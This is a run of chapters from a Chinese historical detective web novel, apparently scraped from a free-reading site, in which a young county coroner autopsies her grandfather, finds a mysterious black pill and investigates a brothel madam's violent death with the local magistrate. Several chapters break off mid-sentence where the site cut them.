话音刚落,她提起手里的刀,顺着顾宗锁骨的方向,轻轻往下一划。 屋子里倏地被血腥味所侵占,好在月夕对人体的血脉构造很是熟悉,每一刀几乎都避开了那些容易大出血的地方,很快,她找到了顾宗的胃部。 顾宗的胃鼓鼓囊囊的,像是还未来得及消化,里头满是吃食。 王珏的面色有些难看,他也曾听闻过仵作的剖验之术,当时他只觉此术不过如同杀猪宰羊,如今当真亲眼见了,才觉其中并不简单。 单论剖开尸体时的那股难闻的味道,便甚少有人能接受了。 他强忍着卡在喉间的呕吐物,尽量默不作声地站在一旁,看着月夕手里的刀具一点一点小心翼翼地沿着纹路切开顾宗的胃部。 不知过了多久,月夕终于停了下来,王珏凝眉近前半步,低声问,“如何?” 月夕几乎颤抖着声音,道,“回县尊,找到了。” 她从胃里拿出一颗疑似被一块白叠布包裹起来的小圆球状物,心疼又震撼道,“阿爷重诺,既然说过会戒酒,自是会戒,他之所以突然喝这么多酒,大抵就是因为这个。” 白叠布的布料虽然绵软,但那颗黑色圆球状物有她拇指头般大小,顾宗年轻时喉咙曾受过很重的伤,那里有一块小骨头碎裂了,如今虽已经康复,还能正常说话,但若是吞咽些稍稍大的食物,喉咙处必定不好受。 然而他昨夜竟是生生吞下这么一个东西,可想而知,当时的他该有多难受。 月夕拿出镊子,将满是污秽液体的白叠布小心翼翼剥开,里头露出一颗小指头大小的黑色药丸,药丸虽破损了一些,但剩余的部分也足够让人分辨这到底是个什么。 除此之外,顾宗的胃里便只剩大量的酒。 她的心猛地一揪,看来顾宗是早已算计好了胃消化的时间,趁着这东西没被消化完,喝了大量的酒,这才导致他的快速死亡。 月夕将这东西放在一旁的托盘内,交给王珏,“劳烦县尊着人查一查,这到底是个什么东西。” 王珏郑重地接过托盘,“好。” 一切都检查完毕,王珏转身便走了。 月夕知道县尊是想给她与阿爷独处的空间,她暗自呈下这份情,转身静静地看着躺在台子上顾宗。 不知为何,她总觉得心口在隐隐作痛。 这感觉让她有些似曾相识,仿佛从前也这般痛过,可是她却什么都想不起来。 很快,她收拾好了自己的情绪,定神之后,便一点一点地将顾宗还原成原来的样子。 顾宗是个十分注重整洁的人,即便他年过六十,肌肤满是皱纹,因常年生病,手脚也跟着不大利索,七角巷那简陋的小院子却依旧被他收拾得井井有条。 他的衣裳不多,且全都是些素色的衣袍,可每每穿在他身上,月夕总能从中品出些士人独有的儒雅气质来。 月夕将他的腰带重新系上,所有工具都摆回原位之后,便从自己的袖袋里掏出一把梳子。 她是黎阳县里唯一一个修颜女,每每死人,她都会被叫走给死者修颜,有时候被叫得急了,来不及带那些胭脂水粉的物什,所以她身上会常年带着一把梳子,以确保能给死者最后的体面。 可万万没想到,有朝一日她会将这份体面用在自己阿爷身上。 顾宗的头发花白且稀疏,月夕松了他的发带,放在一旁,又将那些花白的头发握在手里,任由梳齿在其中游移着。 突然,她神色一顿。 不对。 顾宗头发的气味,很不对。 身为仵作,顾宗对所有气味与细节都十分敏感,所以无论是洗头、净身还是洗衣裳,他只用皂角。 因着这个习惯,月夕也只用皂角。 可此刻顾宗头发上竟是多了一股味道,这是独属于烟花柳巷胭脂水粉的味道,而且价格不便宜。 此刻正躺在顾宗隔壁的彩蝶娘子身上,便有这样的味道。 栖月楼。 月夕脑海中立刻出现了这三个字。 印象里顾宗从来不会去那种地方。 难道他昨日要寻的人就在栖月楼里? 霎时间,很多莫名其妙的问题如洪水般从她脑子里奔涌而出,惹得她的心跳也跟着砰砰直跳了起来。 将顾宗的尸首领回七角巷,又料理完顾宗的后事,时辰已过酉时。 秋日里天色黑的早,一眼望去,路上景物已经朦胧一片。 连绵大半个月的大雨虽早已停歇,苍穹之上依旧一丝月色也无,只剩几点星光倔强得发着光,试图笼罩整个世界。 趁着朦胧的夜色,月夕换了一身粗布衣裳,随意拿了一块布当了面巾,将脸遮了起来,沿着记忆中的路线,悄悄隐没在了昏暗的星光之下。 两刻钟后,月夕在繁华的栖月楼后院角门处停下。 上一回,她便是从这里悄悄进入栖月楼,给彩蝶娘子的侍婢小欣修的颜。 月夕正欲敲门,小小的角门突然吱呀一声从里面推开,从里头钻出一个小龟公的脑袋。 夜色很暗,他似是没看见隐没在黑暗中的月夕,只自顾自地环顾了一圈,确定没人之后,这才放心打开角门,从里头拿出了一个点心盒子,如珠似宝地捧在怀里,从里头走了出来。 月夕看了眼他离开的背影,那小龟公并未走远,只是在前面不远处的角落里停了下来,随后蹲下身,将怀里的点心盒子打开,狼吞虎咽地吃了起来。 见他的注意力全在怀里的那盒点心上,月夕趁机从角门溜了进去。 栖月楼是夜色越浓越热闹的地方,时至戌时,栖月楼里几乎灯火通明纸醉金迷,丝竹管弦之声不绝于耳,更别提时不时传来的莺啼燕啭之音。 角门不远处便是姑娘们的浣衣房,夜色之下,依旧有几个侍婢蹲在井边浆洗着衣裳,月夕环顾了一圈,绕过廊下晾晒着的衣裳,往角落处一处不起眼的木门走去。 木门并未上锁,门后 7. 你非常人 《解语(探案)》全本免费阅读 接二连三此起彼伏的尖叫声从前院传来,月夕来不及同小冰道谢,拎起裙摆就往前院跑,迎面还撞见了好几个吓得花容失色的小侍婢。 其中几个因为腿软,没跑几步就摔倒在了路边。 月夕跑近前去,将她们扶了起来,“发生了何事?” 小侍婢顾不得来扶她的是谁,连连哭道,“于妈妈!是于妈妈!她不知怎地发了狂,拿了把菜刀就要砍人!” 月夕追问:“于妈妈在何处?” 小侍婢指着前院方向,“在庭院里!” 话音刚落,月夕拔腿便往庭院方向跑去。 栖月楼是个三进三出的院子,除了前头一进用于招待堂客之外,后头几进的亭台楼阁中都住着姑娘,招待着凭帖入内的贵客。 除此之外,后院还建了四座高楼,分别位于院子里的东南西北,高楼处都有一个阁楼,分别住着栖月楼里的四个花魁。 一进院后头有个极大的庭院,楼里所有的高雅聚会都会在这里。 月夕穿过好几条廊桥,在庭院附近的一处不起眼的回廊拐角停了下来。 今日庭院里正在举办一场诗会,正值春闱刚过,县里会点笔墨的人都来了。所有回廊院角也都亮着一盏幽暗昏黄的灯,一眼望去,灯火阑珊,很是唯美。 然而,如此唯美的场景,眼下竟是被一片此起彼伏的尖叫声所替代,平日里道貌盎然的所谓翩翩公子们,如今竟是一个个抱头鼠窜胡乱躲避,有的竟是整个人缩在了一个手无缚鸡之力的小娘子身后,像只无能的牛犊。 混乱人群的中央,有一身着华服的女子,手里握着一柄菜刀四处挥砍着,月夕定睛一看,正是昨日还在县衙牢房里撒泼的于妈妈。 庭院里灯光昏暗,却也能看出她此刻双目瞪圆,仿佛着了魔一般地四处张望,也不知在看些什么。 与此同时,她手里的动作也没个章法,偶然看到一个人会追着去砍,待那人逃脱,她便又立刻换下一个目标,继续挥砍。 月夕微蹙起眉,才不过一日,于妈妈的状态竟判若两人。 也不知她到底发生了什么? 忽然,面前闪过一个黑影,月夕还没来得及反应,顿觉手臂一紧,脚下一空,整个人竟离地而起。 只眨眼功夫,她便已经在最高的楼阁里落了地。 月夕猛地扭过头,正欲看清那人是谁,谁想那人却伸出他那厚大的手掌,箍住她的头,将她往庭院的方向掰。 “再在那处站一会儿,你怕是要成为那女人的刀下亡魂了。” 果不其然,于妈妈不知何时放弃了砍人,捏着菜刀往月夕方才的方向走去。 若非她离开得快,恐怕此刻,于妈妈的刀正中她的脑袋。 “你是谁?”月夕问道。 身后的人呵笑了一声,“这么快就把我忘了?” 月夕摇头,“我知道你是谁,只是……这个时辰,你应该在衙门的牢房里躺着。” 亓官彧唇角微扬,语气有些戏谑:“我若说自己体质特殊,恢复极快,娘子可信?” “信。”月夕不假思索。 亓官彧唇角的笑意微微一凝,收回手掌,疑惑地看着她,“你信?” 月夕点点头,“若是常人,浑身骨折,流血过多,必死无疑,可你浑身的经络却异常强劲,这也注定了你并非常人。” 她扭过身子认真地看着他,那神情像极了要同他讨论人体骨骼肌理,亓官彧顿了顿,突然嗤笑一声,“阿爷死了,还能心平气和地剖了他的尸体,迅速料理完他的后事,随后又马不停蹄地过来查案子。如此看来,你也非常人。” 月夕镇定地福了福身,懒得接他的话茬,“多谢郎君方才救我一命。” 亓官彧微微挑眉,这女子还真是有些意思。 他双手环胸,戏谑道:“你岂知我是来救你而非杀你?” “哦。”月夕依旧淡淡的,“可你方才确实救了我,这声谢也是我应当给你应当得的。” 亓官彧一时语塞,这才细细打量起眼前这个女子。 却见她一身粗布麻衣,将自己的身形裹得严严实实,即便如此,却也遮掩不了她那纤细的腰线,她很瘦,却瘦得恰到好处。那张小巧地脸用一块黑色的面巾裹得严严实实,只露出一双清澈地能看清楚倒影的眼睛。 亓官彧微微一愣,他从来没见过这般干净的眼睛,在她面前,他竟生出一种,自己很污秽的错觉。 他在打量着月夕,月夕也在暗中观察着这个男子。 这男子实在太奇怪了,明明她细细检查过他的身体,全身上下的骨骼没有一块是完好的,尤其是腿骨,更是碎得四分五裂。 这样残破的身体,能活下来都已经算是奇迹,而他竟只用了一天,便活蹦乱跳完好如初。 这实在太匪夷所思了! “罢了。”亓官彧嗤笑一声,向她抱拳一礼,“扶绥亓官彧。” 她顿了顿,道:“黎阳顾月夕。” “月夕?”亓官彧啧啧一声,“这名字……” 月夕扭过身继续看着楼下的情况,“阿爷在月末时捡的我,由此得名。” “我还以为……” “劳烦郎君送我下去。” 亓官彧本想再同她聊两句,被她这样打断,脸上闪过一丝不悦,“月夕娘子,你这也太……” “郎君若是不愿,那请恕月夕不能久陪。”月夕说着,便要去找寻下楼的路。 亓官彧见状更是不悦,一把拦住她,“顾月夕,你……” “亓官郎君,楼下发生了命案,我是仵作,必须要下去,还望您见谅。” 望着月夕那双认真又清澈的眼睛,亓官彧不知怎么地,胸口的怨气全都散了,他叹了口气,道,“罢了,我送你下去,不过……” “多谢。”月夕认真地福了福身,乖巧地站在方才的位置,等着他带她下去。 亓官彧被她的举动逗笑了,他缓步近前,道,“小月娘可会医术?” 月夕抬起头,诧异地看了他一眼,“医者与仵作虽师出同源,但也有很多不同,郎君若是有病,可以去回春堂看看。” “不成。”亓官彧眼色微暗,半是认真半是玩笑,“我的秘密如今只有你一人知晓,你必须负责。” 月夕蹙了蹙眉,为难道:“此事怕是晚了。” 亓官彧神色微凝,“你还对谁负过……” “我乃衙门仵作,验伤验尸所得,都须交给县尊大人知晓,所以,你的秘密,县尊大人也知道。” 月夕说完,淡淡地看着他,“你方才想说什么?” 亓官彧的脸色五颜六色的,看不出什么喜怒,却莫名显得有些吃瘪,他一言不合便揽过月夕的肩头,没好气道,“没什么,抓紧我。” 话音刚落,月夕便觉身子一轻,还未反应过来,人便已经落了地。 因着突如其来的变故,庭院里的人都逃窜完了,只剩下几个被砍伤的晕倒在地。 庭院中有一处假山景观,大约有两人高,周围的人已经散完,抬眼望去,假山旁的尖锐碎石群上,正趴着一个血肉模糊的人。 此人正是于妈妈。 那把沾着血迹的菜刀正躺在不远处,寒光乍现,极为锋利。 月夕上前浅浅查探了一番,于妈妈系高处跌落,脑部被地上尖锥型石头砸穿致死。 她紧蹙起眉,方才在楼上,她竟没看见于妈妈到底是如何爬上的假山,又是如何掉落致死的。 “妈妈?于妈妈?” 一个身着素衣的侍婢此刻从内院里跑了出来,她正要近前,被月夕一把拦住。 侍婢面露诧异,“躺在那处的是楼里的于妈妈,还请娘子放婢子过去。” “你是谁?”月夕问。 侍婢道:“婢子是于妈妈身边的贴身侍女青霜。” 说着她又要往里走,月夕依旧将她拦在了外头,青霜有些恼了,语中带着些许怒意,“敢问姑娘又是谁?若于妈妈有什么三长两短,姑娘可能担得起?” “于妈妈有什么三长两短,本县自会负责。” 说话间,王珏身着一身官服径自往庭院中走来,他的身后还跟了好些衙役捕快,像是有备而来。 王珏走到月夕面前,几乎是居高临下地看着青霜,“此乃黎阳县衙仵作,可能查得?” 青霜不过是个小小的侍婢,哪里经得起王珏这么大一个官威?她倏地跪了下来,对着王珏和月夕连连磕头,“是婢子有眼无珠,还请县尊大 8. 下不为例 《解语(探案)》全本免费阅读 王珏蹙了蹙眉,问道,“今日于妈妈回栖月楼后去了何处,又做了什么?” 青霜不假思索,连连道:“今早于妈妈回来之后,去楼里巡视了一圈,随后便将自己锁在了屋子里,连饭都没吃。直到方才……” 她顿了顿,“大约半个时辰前,于妈妈说她饿了,要婢子给她准备山花露水糕和酥山一片雪,这两样东西做起来很是花费时间,婢子方才从厨房出来,便瞧见于妈妈她……” 她边说着边有些哽咽,王珏却淡淡道,“带本县去看看。” “是。”青霜缓缓起身,转过身给王珏等人让出一条道,“县尊大人这边请。” 于妈妈的屋子正在那片假山后的阁楼里,阁楼不高,几人很快便走到了门口。 “阁楼的视线好,于妈妈平日里总爱站在阁楼里瞧着院子,今日她也是坐在窗口桌案……” 她一转身,刚要说出口的话突然被咽了回去。 阁楼屋门大敞,目之所及里头的东西凌乱得叫人无从下脚。多宝阁上的宝器全都被砸碎了一地,那张金丝银线绣绘而成的屏风也被劈成了两半,四仰八叉地倒在了地上。 窗台之下的那盆绿梅,也是被连根拔起,根系被切得一根不剩,与一地泥土搅合在了一块儿,更别说被劈得七零八落的帷幔与满地被踩踏的脏衣裳。 如此境况,还有什么窗口桌案? “这……平日里不是这样的,婢子……婢子这就收拾一番……”青霜有些慌张,连忙要进门收拾,却被王珏叫住。 “慢着。”他道,“你先下去,顺便将楼里的所有人都集中到前厅去。” 青霜顿了顿,但看了眼王珏的官服,又点了点头,“是。” 青霜刚转身离开,王珏便朝身后的竹心看了一眼,竹心会意,不过一个闪身,便消失不见了。 月夕从未见过这般神出鬼没的功夫,只微微一愣,随即近前半步,低声问,“县尊也觉着于妈妈的突然死亡有些问题?” 王珏嗯了一声,转过身,定定地看着月夕。 王珏身高六尺有二[186cm],肩宽腰窄身形挺拔,而月夕不过五尺五寸[165cm],身形又比普通小娘子更瘦弱些,两人倏地站在一起,她像极了一只被身形高大的野狼质问的小白兔。 月夕被他看得脊背微凉,下意识地往后退了半步,眼底闪过一丝心虚。 王珏冷哼道,“不错,还知道心虚。” 月夕正欲解释,却被王珏打断,“你因何故在此本县也不查问了,你只需知道,查案缉拿是本县的事,与你无关。” 月夕默默地低下了头,王珏的话再度传来,“本想查搜完栖月楼便去府上吊唁,如今看来,怕是要等明日了。” 月夕埋头跟了上去,“多谢县尊大人。” 王珏暗自叹了口气,“唯此一次,下不为例。” 他顿了顿,问:“可查问出什么来了?” 月夕道,“彩蝶娘子是自贴身侍婢小欣死后,才性情大变的。她有意自赎,于妈妈未允。” 王珏嗯了一声,边在屋子里查探着边示意她往下说。 月夕继续:“于妈妈与彩蝶娘子发病时都喜欢打骂人,我猜测……” 王珏顿住脚步,转过身看向她,似是在鼓励:“说。” 月夕得命,道,“我曾在一些民间土方的医书上看到过相关案例,常人无缘无故性情大变,缘由有三,其一,受了极大的刺激,内心承受不住;其二,药物所致;其三,此人本身便有癔症,而后突然发作。” “你觉着是哪一种?”王珏问。 月夕想了想,“纵观两人的性情,第一种与第三种许是不大可能,所以我觉着是第二种,只是……” “嗯。”王珏点点头,似是在肯定她的分析。随后他从腰间拔出一把锋利的匕首,在一片狼藉的梳妆台上轻轻翻了翻,“只是什么?” “只是我对药理不大精通,一时想不起是什么。而且,彩蝶娘子身上还有一处疑点,她为何出现在城外的河里?” 她继续道,“城外那处河流的地势很是奇特,分别有两处上游,其中一处来自扶绥方向,还有一处则是城内,若彩蝶娘子在城内遇害,顺水而下,城内水边之人势必有所察觉。然而事实却……” 王珏手上的动作微微一顿,好一会儿,他才藏住眼底的震撼,接上她的话,“事实却无人发现她的尸体。” 月夕点头,“若彩蝶娘子在城外遇害,她为何要去城外?” “若她并非在城外遇害呢。”王珏道。 月夕只顾着分析,竟一时未察他方才说的并非疑问,只道,“若并非在城外……那必定在城内某处!” 这个问题似乎无解,月夕暗自叹了一口气,眼神也沉了沉,“还有一个问题,也不知我阿爷他……那日到底见了什么人……” 她的声音越来越细小,却依旧让王珏捕捉到了一丝悲恸的情绪。他的唇角微微一勾,他道是这小女子被仵作这行当侵染得无甚喜怒哀乐,没成想竟将这些情绪全都藏在了心里,倒是个十分坚强的小娘子。 他用匕首挑起一截残破的丝绦,朝她挑眉示意,“过来看看此物。” 月夕顺着那截丝绦往下看去,却见那一头竟是一只小小的香囊,看那香囊的磨损程度,像是经常被戴在身边的。 月夕正欲伸手去拿,却被王珏喊住,他从怀中拿出一块绣着美玉的丝帕,递给她,“用这个。” 月夕接过丝帕,将其裹在手里,一下将香囊拎了出来。 还没打开看,只闻了闻,她的神色就变了一番。 她立即打开香囊一看,果不其然,香囊内那黑色的丸子,与从顾宗腹中取出的那个一模一样! 阿爷果然来过这里! “郎君,人都到齐了。” 竹心不知何时出现在了门口,王珏看都没看,接过香囊丢给他,道,“带人把这里封了。” 竹心将香囊收好,又从腰间拿了一块新的帕子递给他,“是。” 王珏边擦着手,边看了一眼一旁的月夕,“顾仵作也累了,先回去歇息吧。” 月夕原想说自己其实还能帮忙的,可一想到衙门里还有具尸体等着她,便点了点头,“是。” “月黑风高,夜路不好走,竹心,你送顾仵作回家。” 月夕诧异地抬起头,“县尊,我自己可以……” “顾仵作,县尊也是担忧你的安危。”竹心道,“这边请。” 月夕抿了抿唇,县尊大人都做到这份上了,她也不能不领情,于是乎,她只好点了点头,跟着竹心从来时的小门里走了出去。 黎阳县有宵禁,时过戌时,路上便没人了。 周围安静地可怕,月夕拎着一盏灯笼缓缓往七角巷走,竹心紧跟其后。 也不知过了多久,竹心才开口道,“还请顾仵作见谅,我们郎君也只是怕你为了令尊的案子,食不下咽夙夜难寐,如今黎阳县,也只有您一个仵作了。” 月夕点点头,“多谢竹心护卫,我晓得的。” 竹心将她送到院子便离开了,月夕在院子里站了许久,才走到堂屋里。 顾宗的棺木 9. 奇女子 《解语(探案)》全本免费阅读 黎阳县是京城东南面的一个小县城,隶属江南道,是个十分偏僻却又通水通陆的地方。 兴许是足够偏僻,县城里又有多方势力明里暗里地相互平衡着,以至于五六年没有县令,城里也没出什么大事。 衙门里没有县丞,也没有典史,只有一个主簿,姓严。从前的那些案子,也是由严主簿以及几个捕快合力查办的。 只是自从新县令来了之后,严主簿也不知怎么了,竟是告了很长时间的病假,是以眼下衙门里的所有事务也都落在了这位新县令的头上。 阿爷说,人身上有两处地方不会骗人,其一是死后的尸体,其二便是活着时的眼睛。 新县尊的眼睛虽然深邃到有些见不着低,但他眉眼间的坚毅是衙门里大多数人身上没有的。 还有他身上那股莫名的贵气,好像做什么事都能让人信服。 所以,月夕愿意相信他。 一夜无梦。 晨起时月夕给顾宗上了柱香,随后便出门往衙门走去。 今日的天气似是比前几日还要阴沉,空中的乌色积云在人的头顶厚厚积压着,仿佛下一刻就要倾盖下来一般,月夕走在路上都觉得有些胸闷。 走出最后一个巷口,月夕不由得朝衙门口望了望,却见不远处的衙门口人来人往地,好不热闹。 她眉心微微一拧,拎起裙摆跑了过去。 老王正一瘸一拐地打算出门,瞧见月夕,立刻停顿了下来,“月儿,你来得正好……” “王阿爷,衙门里出事了吗?” 因着焦急,老王的眉毛被他拧成了一团,他道:“出大事了,昨晚县尊在栖月楼遇袭,按理说处理完伤口后今早能醒,没成想,那歹人竟是在凶器上淬了毒!” 也不知为何,月夕也跟着心焦了起来,“县尊如今境况如何?” 老王摇头,“听说昨日半夜吐了回血,今晨的气息开始减弱,严医郎说……县尊他时日无多了……” 时日无多?月夕的心像是被什么东西狠狠地敲击了一下。 不行!她还指望着县尊替她找寻杀害顾宗的真凶呢!他不能有事! 正想着,她转身便往内衙跑去,连老王后头的话也来得及听清楚。 内衙是县令的起居之所,能进来的人不多,今次是因着县衙里都乱了套,月夕才逮到了机会溜了进去。 刚寻到花厅,她便迎面撞上了竹心。 “竹心护卫。”月夕抬起头焦急询问道:“县尊可安好?” 竹心顿了顿,冷着脸提剑将她挡在了外面,“郎君不大好,顾仵作还是改日再来吧。” 月夕往里头望了望,迅速冷静了下来。 是啊,她不过是个仵作,又不是什么医者,如此不知礼数地跑过来也起不了任何作用。 思及此,她眼里的焦急也悉数褪了下去。 罢了,若县尊真的出了事,那也只能由她自己来找寻凶手了。 她后退了半步,朝竹心福了福身,“还望县尊保重身体,我改日再来探望。” 说着,她毫不犹豫地转身往殓尸房跑去。 正此时,竹心身后卧室的门被人轻轻推开,竹心一个闪身到了王珏跟前,扶起他。 “走了?” 竹心点头,“走了。” 王珏浑身乏力面色苍白,唇色亦是一点血色也无,不过他还是抿唇一笑,仿佛意料之外又像是意料之中。 竹心却担忧道,“郎君,这毒……” “无妨。” 王珏眼底的神色倏地冷了下来,那姓秦的阉人碍于琅琊王氏的势力不敢在京城对他如何,如今黎阳县天高皇帝远,倒也放得开了。 竹心紧抿起唇,欲言又止。 最终,他还是默默低下了头。 王珏抬眸冷笑一声,“怎地不说话?” “郎君,陛下沉溺于仙术,朝中被那姓秦的阉人把持,咱们要不要想法子自保?” 王珏定定地看了他许久,随即道,“临行前,我阿兄可是给了你什么东西?” 见瞒不过,竹心只好点头,并从怀里掏出一块令玉,“大郎说,琅琊王氏虽已不比当年,但百年前的圣|祖密赏仍在,若是郎君遇险……” “胡闹!”王珏眼底满是怒意,“他这族长到底还想当不想当?” 竹心低头抿唇不语。 半晌,王珏的神色渐渐微冷,“若事态当真到了那个地步,我会自请脱离琅琊王氏,免得族人因我受累。” 竹心还想劝一劝,却听他道,“传信告诉阿兄,让他多防备些朝中的一些文臣,我怀疑……” “罢了……”王珏顿觉自己一脑门官司,他拧了拧眉心,道,“京城可有回信?” 竹心点头,从袖袋中取出一小节竹管子,“今早刚到,还未来得及拆。” “嗯。”王珏接过竹管子,将其紧紧捏在手心,好一会儿又问,“飞燕可有消息?” 竹心紧抿着唇,摇了摇头。 “郎君,我们已经寻了五年,李娘子她会不会早已……” “不会。”王珏截断了他的话,“未见其人又未见其尸,人就不算死!” “是。” “让她多查一查沿河流域。” “是。” 顾宗的尸体被月夕领回,彩蝶的尸体被放到了殓尸房地下的冰窖中,此时殓尸房的台子上,也只剩下于妈妈的尸体。 月夕穿戴好所有物什,将工具箱子放在脚边,轻轻掀开盖在于妈妈尸身上的那块布。 一股熟悉的脂粉香冲鼻而来,月夕拧了拧眉,细细地检查了起来。 于妈妈的脸上涂着厚厚的脂粉,乍一眼看去,看着气色不错,可由于空气干燥,于妈妈又没来得及打理,有些地方的脂粉已经开始脱水结块,不过轻轻一碰,结块的地方便轻易地掉落了下来,露出了脂粉下肌肤最本真的样貌。 肌肤暗沉,且有皮包骨之相。 于妈妈的衣裳看起来很是丰腴,可解开腰带后却发现,所谓看起来丰腴都是假象,她也开始有瘦弱之相了,只是如今还不大明显。 与前些日子检查的差不多,于妈妈身上有很多处非人为的瘀痕,像是从血管里透出来的,只是症状比彩蝶娘子稍稍轻些。 外体检查完毕,月夕将视线移到了于妈妈的伤口处。 那是一个十分新鲜的伤口,为了不破坏原貌,楚括等人将那快尖锐的石头也一并搬了过来。 此刻那石头正直直地插在脑袋上,伤口很深,竟是将于妈妈的脑壳都插 10. 长尾彩羽野鸡 《解语(探案)》全本免费阅读 月夕抱着验案,再一次跑进了内衙。 正跑到花厅处,便听到一阵嘈杂声,她顿住脚步,往花厅稍稍观望了一下,却见厅中客座之上正坐着一个五颜六色的人。 确切地说,那是一个穿着各式各样花色衣裳的男子。 这男子此刻正抱着一只小茶壶,边咕咚咕咚地往自己嘴里灌,边与一旁的竹心说着话。 大概是话太密了,竹心只能默默地站在一旁,紧抿着唇看着。 好一会儿,男子像是说累了,将那小茶壶往茶几上一放,站起身来,往身后不远处的厢房主卧望了望。 此人本就身高腿长,目测该是六尺一寸,被这么一身五颜六色的布料挂着,也显不出矮来,更衬得他像个修长的长尾彩羽野鸡。 那野鸡抻着脖子望了许久,又焦急地搓了搓手坐了回来,“你们郎君怕是得罪什么人了吧?下手竟这般黑!” 竹心冷笑一声,反问道:“我们郎君得罪什么人,苏郎君难道不知?” 苏朗自知说错了话,抿唇尴尬地咳嗽了几声,又假装十分忙碌地四处张望。 “哎哟哟!”苏朗突然眼睛一亮,“王潜之居然买侍婢了!这真的是千古奇闻啊!难不成当真是开窍了?” 说着,苏朗兴奋地站起身往月夕的方向跑来。 月夕刚才正出神,眼见着那只彩羽野鸡越来越近,她猛地回过神,脊背也随之一凉,下意识地要往外跑,谁想那野鸡腿长,才不过几息便将她的退路给堵死了。 月夕暗自咬牙,只好埋着头装死。 然而这一幕在苏朗看来,像极了害羞模样,于是他起了些许的逗弄心思。 他微微躬身凑近了些,声音掐得跟只被掐了脖子的鸭子似的,“你这小侍婢叫的什么名字呀?何时来的内衙呀?” 月夕默默地看着自己的脚尖,又用余光看了看竹心的方向,花厅里早已无人,大概是屋子里有了什么动静,竹心过去那边照料了。 眼见着面前这只彩羽野鸡渐渐靠近,月夕暗暗咬唇,猛地抬起脸来,正视了过去,“郎君,小女是黎阳县衙的仵作,不是什么侍婢。” 果不其然,苏朗被这张满是伤痕的脸吓得浑身一颤,瞳孔都跟着微微大了些,“你,你你……” 月夕趁热打铁,“正巧,方才小女刚验过尸体,还未来得及沐浴修整,郎君可是想沾一沾小女身上的尸气?” 苏朗的脸色顿时惨白一片,他猛地后退了半步。 也不知听谁说了声“县尊醒了”,苏朗甚至来不及展现自己那贵郎君的风度,扭身便往县令卧房的方向跑去。 看着这只彩羽野鸡落荒而逃的背影,月夕十分嫌弃地紧蹙起眉,犹豫了一会儿,最终还是决定跟了上去。 县令卧房就在花厅之后,月夕还没走到门口,便听那彩羽野鸡在里头叫唤,“潜之啊,你总算是缓过来了!你可知方才我在外头有多担心……” 月夕:…… 他方才那神态可是根本没有半点担心意味在里头。 “得亏今次我与纳兰兄同行,要不然兄弟我怕是再也见不着你了……” 月夕:…… 这人可真是…… 王珏大约也有些受不住他的聒噪,未免他再絮絮叨叨,他撑起身子,正欲给他抱拳行礼,“多谢苏兄。” 苏朗倒吸一口凉气,“王潜之,你怎地来了黎阳县就对我这般见外了?” 王珏轻咳了几声,竹心连忙止住苏朗的话头,“苏郎君,我家郎君的精神怕是不大好,不如您改日再来同我家郎君叙旧?” 苏朗想了想,觉得竹心说的很有道理,这便拍了拍王珏的肩膀,道,“既如此,今日你好好休息,我明日再来。” “苏郎君,我家郎君公务繁忙,这几日怕是没空了。”竹心冷冷道。 苏朗脸色一沉,像是思考了一会儿,随后点了点头,“那我改日再来。” “慢着。”王珏叫住他,“敢问苏兄是何时来的黎阳县?苏侍郎可知晓此事?” 苏朗浑身一顿,显得有些心虚,“那个,潜之啊,我突然想起来铺子里还有点事,你好好养伤,等你伤好了,我再来……” “数日前,你可曾去过栖月楼?”他正要走,王珏冷着脸坐了起来,“可认识花魁彩蝶?” 苏朗的心虚倏地转成了震惊,“你你!你怎地知道?” “栖月楼于妈妈说,数日前,有一个来自京城的苏郎君因花魁彩蝶在栖月楼聚众闹事,可有此事?” “没有没有!”苏朗连连摆手,“哪儿有的事!那日我才刚来黎阳县,恰逢听闻栖月楼有个貌美的花魁,便去看了一眼,没有聚众,也没有闹事!” “倒是另外两个,一个个的都想强抢花魁,险些将那娇滴滴的花魁娘子从高台上拽下来,要不是我及时将花魁娘子救下,她怕是早就伤着了。”他啧啧了几声,“这黎阳县的人,怎地竟这般不懂得怜香惜……” 他看了一眼王珏,自觉地闭上了嘴。 过了好一会儿,他退到了门口,“潜之啊,要是没什么事儿,我这就先走了,你且好好养伤,莫要过度哀思,免得累坏了身子。” 他又向那个站在角落里,一直未开口的白衣男子道,“纳兰兄,苏某先行一步。” 言罢,他扭头便跑出了房门,像极了一只尾羽被烧着的鸡,三步并作两步,一眨眼就跑出了内衙。 月夕:…… 此人多半有病。 “顾仵作,县尊让你进去。” 竹心不知何时已经站在门口,朝她这边望过来。 月夕回过神,朝他微微颔首,径自进了屋子。 屋子里早已被浓重的药味所侵染,彼时的王珏正虚弱地躺在床榻上,月夕蹙了蹙眉,走进前去。 “县尊大人。” 王珏颔首,“可查到了什么线索?” 月夕将验案拿了出来,“于妈妈身上有大量的瘀伤,然那些瘀伤却不致死,于妈妈的死因系被尖锐石头插穿头部,只是……” “只是那石头硬且脆,砸伤人可以,仅靠高处降落之力插穿头部,却极难做到?”王珏边看验案,边问。 月夕点点头,“是不可能做到。所以属下猜……” “他杀?”王珏的脸微微沉了沉。 月夕本想再次点头,可转念一想,几乎倒吸一口凉气,“县尊大人的伤也是……” 王珏将验案交给竹心,唇边扬起一丝嘲讽的弧度,“正是 11. 秘药 《解语(探案)》全本免费阅读 在场众人皆是一阵心惊,竹心急问道:“敢问纳兰医生,可曾听闻过这等功夫?” 纳兰羿叹了口气,走近榻前,将月夕包扎的绷带细细拆除,又拿了新的绷带重新包扎了起来,“江湖上会暗器之人很多,随便撷起物什做暗器的人更是不少,你们若是想从暗器下手,无异于大海捞针,我劝你们还是省省吧。” 包扎完后,他正欲起身,却被王珏叫住,“且慢。” 纳兰羿微蹙起眉。 却见王珏朝竹心招了招手,下一刻,纳兰羿面前出现了一只有些磨损的香囊——正是于妈妈屋子里找到的那只。 “纳兰医生见多识广,可否帮忙看看,这是个什么东西?” 纳兰羿将信将疑地接了过去,疑惑地看了王珏一眼,这才将香囊打开,里头正藏着一颗黑色的药丸。 只一眼,纳兰羿的脸色唰的一下白了,“你怎会?怎会有这种东西?” 王珏问:“敢问这是何物?” “不知郎君是否听闻三十年前平康坊幽兰馆发生的一起分尸案?” 王珏微微蹙眉,“我曾在恩师处听过此案,听闻此案惨绝人寰。” 纳兰羿呵笑一声,“何止惨绝人寰!幽兰馆内三个花魁十二个姑娘,全都被斩成了碎尸,无一幸免。” 屋子里众人皆是听得毛骨悚然,就连月夕也是瞳孔震了震,整整十五人,竟都斩成了碎尸,可想凶手何等凶残! “凶手于半年后落网,听闻乃前虢国公世子。”震撼之余,王珏也渐渐回想起了那案子的一些细节,“只是……” 